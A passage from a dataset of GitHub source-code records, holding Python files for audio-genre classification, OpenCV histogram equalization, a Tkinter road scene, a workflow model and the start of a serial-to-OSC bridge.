largestHorizontalProduct(r, size))\n\n    return max(maxProd, largestDiagonalProduct(grid, size))\n","repo_name":"portobello-boy/ProjectEuler","sub_path":"MathLib/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"27799068588","text":"import os\nimport librosa as lb\nimport random\nimport numpy as np\nfrom config import *\nfrom sklearn.model_selection import train_test_split\nimport shutil\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom sklearn.metrics import confusion_matrix\nimport seaborn as sns\nfrom tensorflow.keras.preprocessing.image import img_to_array, load_img\nfrom pydub import AudioSegment\n\n\n\n\ndef plot_waveform(samples, type_index, sr = SR):\n    \"\"\"\n    Waveform plot of samples\n    \"\"\"\n\n    color = random.choice([\"blue\", \"red\", \"yellow\", \"brown\", \"purple\"])\n    for index, sample in samples.items():\n      plt.figure(figsize = (16, 5))\n      lb.display.waveshow(y = sample[\"sampling\"], sr = sr, color = color);\n      plt.title(\"Sound Waves of sample {} of class {}\".format(index, type_list[type_index][0]), fontsize = 23);\n\n\n\ndef plot_fft(samples, type_index):\n    \"\"\"\n    Get frequency domain representation\n    \"\"\"\n\n    for index, item in samples.items():\n        plt.figure(figsize = (16, 6))\n        plt.plot(item[\"stft\"])\n        plt.xlabel(\"Time\")\n        plt.ylabel(\"Frequency\")\n        plt.title(\"STFT of sample {} of class {}\".format(index, type_list[type_index][0]))\n\n\n\ndef plot_spectrogram(samples, type_index, hop_length):\n    \"\"\"\n    Plot spectrogram\n    \"\"\"\n\n    for index, item in samples.items():\n        DB = lb.amplitude_to_db(item[\"stft\"], ref = np.max)\n        plt.figure(figsize = (25, 10))\n        lb.display.specshow(DB, hop_length= hop_length, x_axis = \"time\", y_axis = \"log\")\n        plt.title(\"Spectrogram of sample {} of class {}\".format(index, type_list[type_index][0]), fontsize = 20)\n        plt.colorbar()\n\n\n\ndef train_val_test_split(folder_root, dataset_root, type_index):\n    \"\"\"\n    Split and save train/val/test set\n    Input:\n    - folder_root: folder_root containing mel-spec images\n    - dataset_root: Directory to save dataset\n    - type_root : train_root, val_root or test_root\n    - type_index: class index in type_list\n    \"\"\"\n\n    def save_set(subset, dataset_root, typeset, type_index):\n      \"\"\"\n      Save X_train, X_val, X_test to their respective dir\n      Input:\n        - subset - X_train, X_val, X_test\n        - dataset_root: Directory to save dataset\n        - typeset - train, val, test\n        - type index - Class index\n      \"\"\"\n      # Copy file from subset to train/val/test folder\n      for file in subset:\n          srcpath = os.path.join(src_dir, file)\n          dst_dir = dataset_root + \"\\\\\" + typeset + \"\\\\{}\".format(type_list[type_index][0])\n          if not os.path.exists(dst_dir):\n              os.makedirs(dst_dir)\n          shutil.copy(srcpath, dst_dir)\n\n\n    src_dir = folder_root + \"\\\\{}\".format(type_list[type_index][0])\n    X = os.listdir(src_dir)\n    Y = [\"{}\".format(type_list[type_index][0]) for i in range(0, len(X))]\n\n    # Train 75%, test 25%\n    X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size= 1 - TRAIN_RATE, random_state=42, shuffle = True)\n    # Val 15 %, test 10%\n    X_val, X_test, Y_val, Y_test = train_test_split(X_test, Y_test, test_size = TEST_RATE / (TEST_RATE + VAL_RATE), random_state=42, shuffle = True)\n\n    # Create dataset_root to save dataset\n    if not os.path.exists(dataset_root):\n        os.makedirs(dataset_root)\n\n    # Save train/val/test of each class\n    save_set(X_train, dataset_root, \"train\", type_index)\n    save_set(X_val, dataset_root, \"val\", type_index)\n    save_set(X_test, dataset_root, \"test\", type_index)\n\n\n\ndef plot_result(history):\n    \"\"\"\n    Plot loss and acc of train/val\n    Input: history - model_history\n    \"\"\"\n\n    fig, ag = plt.subplots(1,2,figsize = (15,6))\n    ag[0].plot(history.history['loss'],label = 'train')\n    ag[0].plot(history.history['val_loss'],label = 'val')\n    ag[0].legend()\n    ag[0].set_title('Loss versus epochs')\n\n    ag[1].plot(history.history['accuracy'],label='train')\n    ag[1].plot(history.history['val_accuracy'],label='val')\n    ag[1].legend()\n    ag[1].set_title('Accuracy versus epochs')\n    plt.show()\n\n\ndef predict(file_names, labels, class_list, typeset, model):\n    \"\"\"\n    Predict samples in a set (val/test set) (just .wav)\n    Input: \n    - file_name: files directory (got from val(test)_generator.filenames)\n    - labels: labels respective to file_name (got from val(test)_generator.labels)\n    - class_list: Global variables 'class_list'\n    - typeset: \"val\" or \"test\"\n    - model: model used to predict\n\n    Output:\n    - y_pred_index: List of index class prediction of all samples in file_name\n    - y_class_pred: List of class respective to y_pred_index\n    \"\"\"\n\n    y_pred_index = []\n    y_class_pred = []\n    for file in file_names:\n        file_root = DATASET_ROOT + \"\\\\\" + typeset + \"\\\\\" + str(file)\n        image = load_img(file_root, target_size=(INPUT_SHAPE[0], INPUT_SHAPE[1], 3))\n        image_array = img_to_array(image)\n        image_array = image_array * 1./255\n        input_data = tf.expand_dims(image_array, 0)\n        pred = model.predict(input_data, verbose = 0)\n        pred_index = np.argmax(np.squeeze(pred))\n        y_pred_index.append(pred_index)\n        y_class_pred.append(class_list[pred_index])\n    print(\"---Predicted----\")\n    print(\"Accuracy on {} set : {}\".format(typeset, (labels == y_pred_index).sum()/ len(labels)))\n    return y_pred_index, y_class_pred\n\n\n\ndef get_cfm(y_pred, labels, class_list, typeset):\n    \"\"\"\n    Get confusion matrix \n    \"\"\"\n    ax= plt.subplot()\n    cfm = confusion_matrix(y_pred, labels)\n    sns.heatmap(cfm, annot=True, fmt='g', ax=ax);  #annot=True to annotate cells, ftm='g' to disable scientific notation\n\n    # labels, title and ticks\n    ax.set_xlabel('Predicted labels'); ax.set_ylabel('True labels');\n    ax.set_title('Confusion Matrix on {} set'.format(typeset), fontsize = 20);\n    ax.xaxis.set_ticklabels(list(class_list.values()))\n    ax.yaxis.set_ticklabels(list(class_list.values()))\n    plt.show()\n\n\n\ndef predict_new30s(audio_dir, model, save_dir = TEST_IMAGES_ROOT):\n    \"\"\"\n    Predict new 30s-length audio (arround 30 is accepted)\n    Input:\n    - audio_dir : List of audios directory (.wav)\n    - model: model to predict\n    - save_dir: TEST_IMAGES_ROOT - directory save log-mel-spec image of new audio\n\n    Output:\n    - y_pred: List of index class prediction of all samples in file_name\n    - y_class: List of class respective to y_pred_index\n    \"\"\"\n\n    y_pred = []\n    y_class = []\n\n    for dir in audio_dir:\n        load_dir, sr = lb.load(dir)\n        S = lb.feature.melspectrogram(y = load_dir, sr=sr)\n        S_db = lb.amplitude_to_db(S, ref=np.max)\n\n        # Create TEST_IMAGE_ROOT if it does not exist yey\n        if not os.path.exists(save_dir):\n            os.makedirs(save_dir)\n\n        audio_file_name = dir.split(\"\\\\\")[-1][:-4]\n\n        saved_img_root = save_dir + \"\\\\{}\".format(audio_file_name) + \".png\"\n        plt.imsave(saved_img_root, S_db)\n\n        image = load_img(saved_img_root, target_size=(INPUT_SHAPE[0], INPUT_SHAPE[1], 3))\n        image_array = img_to_array(image)\n        input_data = tf.expand_dims(image_array, 0)\n        pred = model.predict(input_data, verbose = 0)\n        pred_index = np.argmax(np.squeeze(pred))\n        y_pred.append(pred_index)\n        y_class.append(class_list[pred_index])\n\n        return y_pred, y_class\n    \n\n\ndef predict_new(audio_dir, src_folder, model, save_dir, unit_length = 661500):\n    \"\"\"\n    Predict audio of any length using one model\n    Split each audio into several equal samples which length = unit_length (661500 = 30s), then feed to NN\n    Get predict class by votting each sample's prediction\n\n    Input:\n    - audio_dir: List of audio directory to predict\n    - src_folder: Dir of folder containning audio_dir\n    - model: Model to predict\n    - save_dir: Directory to save log-mel-spec image of samples splitted from each audio in audio_dir\n    Output:\n    - y_pred_index: List of index predicted of each audio in audio_dir\n    - y_pred_class: Respective class predicted of y_pred_index\n    \"\"\"\n\n    def mp3_2_wav(dir, dst, sample_rate = SR):\n        \"\"\"\n        Convert mp3 to wav and save wav file to dst\n        Input: dir (mp3)\n        \"\"\"\n        # convert wav to mp3.\n        sound = AudioSegment.from_mp3(dir)\n        sound.set_frame_rate(sample_rate)\n        sound.export(dst, format=\"wav\")\n\n\n    def process(samples_split, save_dir, file_name, is_saved):\n        \"\"\"\n        End to end processing steps of each audio\n\n        Input:\n        - samples_split: List of samples splitted from each audio in audio_dir\n        - save_dir: Directory to save log-mel-spec image of samples splitted from each audio in audio_dir\n        - is_save: If False, do not save log-mel-spec image of samples, just make prediction\n\n        Output:\n        - np.array(samples_db_list): A batch of samples of each audio file (nums_of_sample, input_shape[0], input_shape[1], 3) to feed to NN\n        \"\"\"\n        \n        samples_db_list = []\n        for i, sample in enumerate(samples_split):\n            S = lb.feature.melspectrogram(y = sample, sr=sr)\n            S_db = lb.amplitude_to_db(S, ref=np.max)\n            if not os.path.exists(save_dir):\n                os.makedirs(save_dir)\n            sample_root = save_dir + \"\\\\{}\".format(file_name) + \"_sample{}\".format(i) + \".png\"\n            plt.imsave(sample_root, S_db)\n            image = load_img(sample_root, target_size=(INPUT_SHAPE[0], INPUT_SHAPE[1], 3))\n            img_array = img_to_array(image)\n            img_array = img_array * 1./ 255\n            samples_db_list.append(img_array)\n            if not is_saved: # Not save mode\n                for file in os.listdir(save_dir):\n                    if file.endswith('.png'):\n                        os.remove(save_dir + '\\\\' + file)\n        return np.array(samples_db_list)\n\n    # Define result\n    y_pred_index = []\n    y_pred_class = []\n\n    # List of samples of each audio\n    samples_split = []\n    y_pred_split = []\n\n    for dir in audio_dir:\n        if dir.endswith(\".mp3\"):\n            print(\"Convert {} to .wav\".format(dir))\n            wav_dir = src_folder + \"\\\\\" + dir.split(\"\\\\\")[-1][:-4] + \".wav\"    # src_folder = TEST_AUDIO_PATH (trainning), AUDIO_FROM_USER (web)\n            mp3_2_wav(dir, wav_dir)\n            dir = wav_dir       # Take wav dir for sampling\n        audio, sr = lb.load(dir)\n        if (len(audio) >= unit_length):\n            # Number of sample of each audio\n            nums_of_samples = len(audio) // unit_length\n        else:\n            err = \"Audio length must be greater than 30s\"\n            print(err)\n            return err\n        for i in range(0, nums_of_samples):\n            curr_sample = audio[i * unit_length : i * unit_length + unit_length]\n            if (len(curr_sample) != unit_length): # Cannot sampling this curr_sample\n                break\n            samples_split.append(audio[i * unit_length : i * unit_length + unit_length])\n\n        file_name = dir.split(\"\\\\\")[-1][:-4]\n\n        input_data = process(samples_split, save_dir, file_name, False)\n\n        pred_candidates = model.predict(input_data, verbose = 0)\n\n        pred_index_candidates = [np.argmax(sample) for sample in pred_candidates]\n\n        pred_index = max(pred_index_candidates, key = pred_index_candidates.count)\n        pred_class = class_list[pred_index]\n\n        y_pred_index.append(pred_index)\n        y_pred_class.append(pred_class)\n\n        # Reset samples_split after passing one dir of audio_dir\n        samples_split = []\n\n    return y_pred_index, y_pred_class\n\n\n\ndef PROD_predict(audio_dir, src_folder, save_dir, model1, model2, model3, unit_length = 661500):\n    \"\"\"\n    Predict audio of any length using PROD fusion of three models predicted probability vectors\n    Split each audio into several equal sample which length = unit_length, then feed to NN\n    Get predict class by most votting of each sample's prediction\n\n    Input:\n    - audio_dir: List of audio directory to predict\n    - src_folder: Dir of folder containning audio_dir\n    - model: Model to predict\n    - save_dir: Directory to save log-mel-spec image of samples splitted from each audio in audio_dir\n    Output:\n    - y_pred_index: List of index predicted of each audio in audio_dir\n    - y_pred_class: Respective class predicted of y_pred_index\n    \"\"\"\n\n    def mp3_2_wav(dir, dst, sample_rate = 22050):\n        \"\"\"\n        Convert mp3 to wav and save wav file to dst\n        Input: dir (mp3)\n        \"\"\"\n        # convert wav to mp3.\n        sound = AudioSegment.from_mp3(dir)\n        sound.set_frame_rate(sample_rate)\n        sound.export(dst, format=\"wav\")\n\n\n    def process(samples_split, save_dir, file_name, is_saved):\n        \"\"\"\n        End to end processing steps of each audio\n\n        Input:\n        - samples_split: List of samples splitted from each audio in audio_dir\n        - save_dir: Directory to save log-mel-spec image of samples splitted from each audio in audio_dir\n        - is_save: If False, do not save log-mel-spec image of samples, just make prediction\n\n        Output:\n        - np.array(samples_db_list): A batch of samples of each audio file (nums_of_sample, input_shape[0], input_shape[1], 3) to feed to NN\n        \"\"\"\n        samples_db_list = []\n        for i, sample in enumerate(samples_split):\n            S = lb.feature.melspectrogram(y = sample, sr=sr)\n            S_db = lb.amplitude_to_db(S, ref=np.max)\n            if not os.path.exists(save_dir):\n                os.makedirs(save_dir)\n            sample_root = save_dir + \"\\\\{}\".format(file_name) + \"_sample{}\".format(i) + \".png\"\n            plt.imsave(sample_root, S_db)\n            image = load_img(sample_root, target_size=(INPUT_SHAPE[0], INPUT_SHAPE[1], 3))\n            img_array = img_to_array(image)\n            img_array = img_array / 255\n            samples_db_list.append(img_array)\n            if not is_saved: # Not save mode\n                for file in os.listdir(save_dir):\n                    if file.endswith('.png'):\n                        os.remove(save_dir + \"\\\\\" + file)\n        return np.array(samples_db_list)\n\n    # Define result\n    y_pred_index = []\n    y_pred_class = []\n\n    # List of samples of each audio\n    samples_split = []\n    y_pred_split = []\n\n    for dir in audio_dir:\n        if dir.endswith(\".mp3\"):\n            # Get file name\n            wav_dir = src_folder + \"\\\\\" + dir.split(\"\\\\\")[-1][:-4] + \".wav\"\n            mp3_2_wav(dir, wav_dir)\n            dir = wav_dir       # Take wav dir for sampling\n        print(dir)\n        audio, sr = lb.load(dir)\n        if (len(audio) >= unit_length):\n            # Number of sample of each audio\n            nums_of_samples = len(audio) // unit_length\n        else:\n            err = \"Audio length must be greater than 30s\"\n            print(err)\n            return err\n        for i in range(0, nums_of_samples):\n            curr_sample = audio[i * unit_length : i * unit_length + unit_length]\n            if (len(curr_sample) != unit_length): # Cannot sampling this curr_sample\n                break\n            samples_split.append(audio[i * unit_length : i * unit_length + unit_length])\n\n        file_name = dir.split(\"\\\\\")[-1][:-4]\n\n        input_data = process(samples_split, save_dir, file_name, False)\n\n        pred_candidates1 = model1.predict(input_data, verbose = 0)\n\n        pred_candidates2 = model2.predict(input_data, verbose = 0)\n\n        pred_candidates3 = model3.predict(input_data, verbose = 0)\n\n        PROD_probs = []\n\n        # PROD fusion\n        for i in range(pred_candidates1.shape[0]):\n          PROD_probs.append(1/3 * pred_candidates1[i] * pred_candidates2[i] * pred_candidates3[i])\n\n        pred_index_candidates = [np.argmax(sample) for sample in PROD_probs]\n\n        pred_index = max(pred_index_candidates, key = pred_index_candidates.count)\n        pred_class = class_list[pred_index]\n\n        y_pred_index.append(pred_index)\n        y_pred_class.append(pred_class)\n\n        # Reset samples_split after passing one dir of audio_dir\n        samples_split = []\n\n    return y_pred_index, y_pred_class\n\n","repo_name":"LTPhat/Vietnamese-Traditional-Music-Classification","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15976,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"7443811613","text":"import cv2 as cv\n\nimport matplotlib.pyplot as plt\n\ndef rescaleFrame(frame, scale = 1.5):\n  # [1] means the width of the image\n  width = int(frame.shape[1]*scale)\n  # [0] means the height of the image\n  height = int(frame.shape[0]*scale)\n\n  dimensions = (width, height)\n  return cv.resize(frame, dimensions, interpolation=cv.INTER_AREA)\n\n\ndef equalize():\n  img = cv.imread('./photos/forest.jpg',0)\n  # cv.imshow('my photo', img)\n  eq = cv.equalizeHist(img)\n  cv.imwrite('./photos/forest_equalizated.png',eq)\n\n  img2 = cv.imread('./photos/forest_equalizated.png',0)\n\n\n  cv.imshow(\"Foto por ecualizar\",img)\n  cv.calcHist(img,[0],None,[256],[0,256])\n  plt.hist(img.ravel(),256,[0,256])\n  plt.title(\"Histograma por ecualizar\")\n  plt.show()\n  imgshow = cv.imread('./photos/forest_equalizated.png')\n  cv.imshow(\"Foto por ecualizada\",imgshow)\n\n  cv.calcHist(img2,[0],None,[256],[0,256])\n  plt.hist(img2.ravel(),256,[0,256])\n  plt.title(\"Histograma ecualizado\")\n  plt.show()\n  cv.waitKey(0)\n\n \n \ndef expand():\n  img = cv.imread('./photos/photo.jpeg')\n  cv.imshow('my photo', img)\n  image_resized = rescaleFrame(img)\n  cv.imshow('my photo resized', image_resized)\n  # Calculing the histogram\n\n  plt.figure()\n  plt.title('Histograma')\n  plt.xlabel('Rango de pixeles (r)')\n  plt.ylabel('N° de pixeles')\n  colors = ('r', 'g', 'b')\n  for i, col in enumerate(colors):\n    histogram = cv.calcHist([image_resized],[i], None, [256],[0,256])\n    plt.plot(histogram, color = col)\n    plt.xlim([0,256])\n  plt.show()\n  cv.waitKey(0)\n\nprint(\"Ingresa un valor\\n1)Para expandir\\n2)Para ecualizar\")\nvalue = input()\n\nif( value == \"1\" ): \n  expand()\nelse:\n  equalize()\n","repo_name":"alejandropch/image-transformer","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38014822493","text":"import random as rn\nfrom tkinter import *\n\n\nclass Road_Marking:\n    def __init__(self, cvs, x, y):\n        self.base = cvs.create_rectangle(\n            x-3, y, x+3, y+30, fill='White', outline='')\n\n\nclass Tree:\n    def __init__(self, cvs, x, y):\n        self.base = cvs.create_rectangle(\n            x+2, y, x+18, y+30, fill='Saddle Brown', outline='')\n        self.cir1 = cvs.create_oval(\n            x-15, y-15, x+15, y+15, fill='Spring Green4', outline='')\n        self.cir4 = cvs.create_oval(\n            x+3, y-30, x+33, y, fill='Spring Green3', outline='')\n        self.cir2 = cvs.create_oval(\n            x+2, y-15, x+32, y+15, fill='Spring Green4', outline='')\n        self.cir3 = cvs.create_oval(\n            x-12, y-30, x+18, y, fill='Spring Green3', outline='')\n\n\ndef draw_road(cvs, height):\n    cvs.create_rectangle(300, -1, 500, height+5, fill='gray', outline='')\n\n    markings = []\n    for i in range(12):\n        markings.append(Road_Marking(cvs, 400, 50*i + 10))\n    for i in range(12):\n        markings.append(Road_Marking(cvs, 450, 50*i + 10))\n    for i in range(12):\n        markings.append(Road_Marking(cvs, 350, 50*i + 10))\n\n\ndef left_terrain(cvs, height):\n    cvs.create_rectangle(295, -1, 300, height+5,\n                         fill='Black', outline='')\n    cvs.create_rectangle(-1, -1, 295, height+5,\n                         fill='SpringGreen2', outline='')\n    trees = []\n\n    x_choice = [20, 80, 140, 200, 260]\n    y_choice = [40, 115, 190, 265, 340, 415, 490, 565]\n    for i in range(20):\n        trees.append(Tree(cvs, rn.choice(x_choice), rn.choice(y_choice)))\n\n\ndef right_terrain(cvs, height):\n    cvs.create_rectangle(500, -1, 505, height+5,\n                         fill='Black', outline='')\n    cvs.create_rectangle(505, -1, 805, height+5,\n                         fill='SpringGreen2', outline='')\n    trees = []\n\n    x_choice = [520, 580, 640, 700, 760]\n    y_choice = [40, 115, 190, 265, 340, 415, 490, 565]\n    for i in range(20):\n        trees.append(Tree(cvs, rn.choice(x_choice), rn.choice(y_choice)))","repo_name":"Rahulk990/Car_Racer","sub_path":"Car v1/background.py","file_name":"background.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"71507808402","text":"from wok.config.data import Data\n\nPORT_MODE_IN = 1\nPORT_MODE_OUT = 2\n\nclass _Base(object):\n\t_INDENT = \"  \"\n\n\tdef __ini__(self):\n\t\tpass\n\nclass _BaseDesc(_Base):\n\n\tdef __init__(self, name, title = \"\", desc = \"\", enabled = True):\n\t\tself.name = name\n\t\tself.title = title\n\t\tself.desc = desc\n\t\tself.enabled = enabled\n\n\tdef __repr__(self):\n\t\tsb = []\n\t\tself.repr_level(sb, 0)\n\t\treturn \"\".join(sb)\n\n\tdef repr_level(self, sb, level, skip_tag=False):\n\t\tif not skip_tag:\n\t\t\tsb.extend([self._INDENT * level, self.__class__.__name__, \" \", self.name, \"\\n\"])\n\t\t\tlevel += 1\n\t\tsb.extend([self._INDENT * level, \"Enabled: \", str(self.enabled), \"\\n\"])\n\t\tif self.title is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Title: \", self.title, \"\\n\"])\n\t\tif self.desc is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Desc: \", self.desc, \"\\n\"])\n\t\treturn level\n\nclass _BasePort(_BaseDesc):\n\tdef __init__(self, name, title = \"\", desc = \"\", enabled = True,\n\t\t\t\t\tserializer = None, wsize = None):\n\t\t_BaseDesc.__init__(self, name, title, desc, enabled)\n\n\t\tself.serializer = serializer\n\t\tself.wsize = wsize\n\n\tdef repr_level(self, sb, level, skip_tag=False):\n\t\tlevel = _BaseDesc.repr_level(self, sb, level, skip_tag)\n\t\tif self.serializer is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Serializer: \", self.serializer, \"\\n\"])\n\t\tif self.wsize is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Wsize: \", str(self.wsize), \"\\n\"])\n\t\treturn level\n\nclass _BaseModule(_BasePort):\n\tdef __init__(self, name, title = \"\", desc = \"\", enabled = True,\n\t\t\t\t\tserializer = None, wsize = None,\n\t\t\t\t\tmaxpar = None, conf = None, in_ports = None, out_ports = None,\n\t\t\t\t\tresources = None, params = None):\n\t\t_BasePort.__init__(self, name, title, desc, enabled, serializer, wsize)\n\n\t\tself.maxpar = maxpar\n\t\tself.conf = conf\n\n\t\tif in_ports is None:\n\t\t\tself.in_ports = []\n\t\t\tself.in_port_map = {}\n\t\telse:\n\t\t\tself.in_ports = in_ports\n\t\t\tfor p in in_ports:\n\t\t\t\tself.in_port_map[p.name] = p\n\n\t\tif out_ports is None:\n\t\t\tself.out_ports = []\n\t\t\tself.out_port_map = {}\n\t\telse:\n\t\t\tself.out_ports = out_ports\n\t\t\tfor p in out_ports:\n\t\t\t\tself.out_port_map[p.name] = p\n\n\t\tif resources is None:\n\t\t\tresources = Data.element()\n\t\tself.resources = resources\n\n\t\tif params is None:\n\t\t\tparams = []\n\t\tself.params = params\n\n\tdef add_in_port(self, port):\n\t\tself.in_ports += [port]\n\t\tself.in_port_map[port.name] = port\n\n\tdef in_port(self, name):\n\t\treturn self.in_port_map.get(name)\n\n\tdef add_out_port(self, port):\n\t\tself.out_ports += [port]\n\t\tself.out_port_map[port.name] = port\n\n\tdef out_port(self, name):\n\t\treturn self.out_port_map.get(name)\n\n\tdef repr_level(self, sb, level, skip_tag=False):\n\t\tlevel = _BasePort.repr_level(self, sb, level, skip_tag)\n\t\tif self.maxpar is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Maxpar: \", str(self.maxpar), \"\\n\"])\n\t\tif self.conf is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Conf: \"])\n\t\t\tself.conf.repr_level(sb, level)\n\t\t\tsb.append(\"\\n\")\n\t\tfor p in self.in_ports:\n\t\t\tp.repr_level(sb, level)\n\t\tfor p in self.out_ports:\n\t\t\tp.repr_level(sb, level)\n\t\treturn level\n\nclass Flow(_BaseModule):\n\tdef __init__(self, name, title = \"\", desc = \"\", enabled = True,\n\t\t\t\t\tserializer = None, wsize = None,\n\t\t\t\t\tmaxpar = None, conf = None, in_ports = None, out_ports = None,\n\t\t\t\t\tpath = None, library = None, version = None, modules = None):\n\t\t_BaseModule.__init__(self, name, title, desc, enabled, serializer, wsize, maxpar, conf, in_ports, out_ports)\n\n\t\tself.project = None\n\n\t\tself.path = path\n\n\t\tself.library = library\n\t\tself.version = version\n\n\t\tif modules is None:\n\t\t\tself.modules = []\n\t\t\tself.module_map = {}\n\t\telse:\n\t\t\tself.modules = modules\n\t\t\tfor p in modules:\n\t\t\t\tself.module_map[p.name] = p\n\t\n\tdef add_module(self, mod):\n\t\tself.modules += [mod]\n\t\tself.module_map[mod.name] = mod\n\t\t\n\tdef module(self, name):\n\t\treturn self.module_map[name]\n\t\t\n\tdef repr_level(self, sb, level, skip_tag=False):\n\t\tlevel = _BaseModule.repr_level(self, sb, level, skip_tag)\n\t\tif self.path is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Path: \", self.path, \"\\n\"])\n\t\tif self.library is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Library: \", self.library, \"\\n\"])\n\t\tif self.version is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Version: \", self.version, \"\\n\"])\n\t\tfor m in self.modules:\n\t\t\tm.repr_level(sb, level)\n\t\treturn level\n\nclass Module(_BaseModule):\n\tdef __init__(self, name, title = \"\", desc = \"\", enabled = True,\n\t\t\t\t\tmaxpar = None, wsize = None, serializer = None,\n\t\t\t\t\tconf = None, in_ports = None, out_ports = None,\n\t\t\t\t\tpriority = None, depends = None, flow_ref = None, execution = None):\n\t\t_BaseModule.__init__(self, name, title, desc, enabled, serializer, wsize, maxpar, conf, in_ports, out_ports)\n\n\t\tself.priority = priority\n\t\t\n\t\tif depends is None:\n\t\t\tself.depends = []\n\t\telse:\n\t\t\tself.depends = depends\n\n\t\tself.flow_ref = flow_ref\n\t\t\n\t\tself.execution = execution\n\n\tdef repr_level(self, sb, level, skip_tag=False):\n\t\tlevel = _BaseModule.repr_level(self, sb, level, skip_tag)\n\t\tif self.priority is not None:\n\t\t\tsb.extend([self._INDENT * level, \"Priority: \", self.priority, \"\\n\"])\n\t\tif self.depends is not None and len(self.depends) > 0:\n\t\t\tsb.extend([self._INDENT * level, \"Depends: %s\\n\" % \", \".join(self.depends)])\n\t\tif self.flow_ref is not None:\n\t\t\tself.flow_ref.repr_level(sb, level)\n\t\tif self.execution is not None:\n\t\t\tself.execution.repr_level(sb, level)\n\t\tsb.extend([\"\\n\"])\n\t\treturn level\n\nclass Port(_BasePort):\n\tdef __init__(self, name, title = \"\", desc = \"\", enabled = True,\n\t\t\t\t\tserializer = None, wsize = None,\n\t\t\t\t\tmode = None, link = None):\n\t\t_BasePort.__init__(self, name, title, desc, enabled, serializer, wsize)\n\n\t\tself.mode = mode\n\t\tif link is None:\n\t\t\tself.link = []\n\t\telse:\n\t\t\tself.link = link\n\n\tdef is_input(self):\n\t\treturn self._ptype == PORT_MODE_IN\n\n\tdef is_output(self):\n\t\treturn self._ptype == PORT_MODE_OUT\n\n\tdef repr_level(self, sb, level, skip_tag=False):\n\t\tlevel = _BasePort.repr_level(self, sb, level, skip_tag)\n\t\tif self.mode == PORT_MODE_IN:\n\t\t\tmode = \"In\"\n\t\telif self.mode == PORT_MODE_OUT:\n\t\t\tmode = \"Out\"\n\t\telse:\n\t\t\tmode = \"Unknown\"\n\t\tsb.extend([self._INDENT * level, \"Mode: \", mode, \"\\n\"])\n\t\tif self.link is not None and len(self.link) > 0:\n\t\t\tsb.extend([self._INDENT * level, \"Links: \", \", \".join(self.link), \"\\n\"])\n\t\treturn level\n\n# TODO\nclass Param(_Base):\n\tpass\n\nclass Exec(_Base):\n\tdef __init__(self, launcher = None, conf = None):\n\t\tself.mode = launcher\n\t\tself.conf = conf\n\t\n\tdef fill_element(self, e):\n\t\tif self.mode:\n\t\t\te[\"mode\"] = self.mode\n\t\tif self.conf:\n\t\t\te[\"conf\"] = self.conf\n\t\treturn e\n\t\t\n\tdef repr_level(self, sb, level):\n\t\tsb.extend([self._INDENT * level, \"Exec \"])\n\t\tif self.mode is not None:\n\t\t\tsb.append(self.mode)\n\t\tif self.conf is not None:\n\t\t\tsb.append(\" \")\n\t\t\tself.conf.repr_level(sb, level)\n\t\treturn level\n\nclass FlowRef(_Base):\n\tdef __init__(self, canonical_name = None, version = None):\n\t\t_Base.__init__(self)\n\n\t\tself.canonical_name = canonical_name\n\t\tself.version = version\n\n\t@property\n\tdef uri(self):\n\t\tif self.version is not None:\n\t\t\treturn \"{}/{}\".format(self.canonical_name, self.version)\n\t\telse:\n\t\t\treturn self.canonical_name\n\n\tdef repr_level(self, sb, level):\n\t\tsb.extend([self._INDENT * level, \"FlowRef \", self.uri])\n\t\treturn level","repo_name":"bbglab/wok","sub_path":"wok/core/flow/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7159,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"17102170605","text":"#!/usr/bin/env python3\n# coding=utf-8\n\n\"\"\"\nbridge between serial and osc.\n\n     (with format conversion)\n\n    history:\n        see git commits\n\n    todo:\n        ~ all fine :-)\n\"\"\"\n\n# https://docs.python.org/2.7/howto/pyporting.html#division\nfrom __future__ import division\n\nimport sys\nimport os\nimport time\nimport array\nimport struct\nimport signal\nimport argparse\nimport re\nimport readline\nimport json\nimport io\nimport threading\nimport queue\n# import multiprocessing\n\nimport serial\nfrom serial.tools import list_ports\n\n# python-osc (python3)\nfrom pythonosc import osc_message_builder\nfrom pythonosc import udp_client\nfrom pythonosc import dispatcher\nfrom pythonosc import osc_server\n\n# pyOSC (python2)\n# from OSC import OSCClient\n# from OSC import OSCMessage\n\n# from configdict import ConfigDict\n\n\nversion = \"\"\"04.12.2016 22:53 stefan\"\"\"\n\n\n##########################################\n# globals\n\n# config\n\n\n##########################################\n# functions\n\ndef helper_join(instance):\n    \"\"\"Join an instance and print message.\"\"\"\n    try:\n        instance.join()\n    except RuntimeError as e:\n        message = \"{}\".format(e)\n    else:\n        message = \"joined\"\n    finally:\n        # print(\"* {}: {}.\".format(instance, message))\n        print(\"* {}: {}.\".format(\n            instance.__class__.__name__,\n            message\n        ))\n\n##########################################\n# classes\n\n\nclass SerialHandler(threading.Thread):\n    \"\"\"Wrapper for SerialPort.\"\"\"\n\n    def __init__(self, device, rx_queue, tx_queue):\n        \"\"\"Init Serial Handler.\"\"\"\n        super(SerialHandler, self).__init__()\n\n        self._shutdown = threading.Event()\n\n        self.device = device\n        self.baudrate = 115200\n\n        self.rx_queue = rx_queue\n        self.tx_queue = tx_queue\n\n        # https://pythonhosted.org/pyserial/shortintro.html#eol\n        # use timeout so 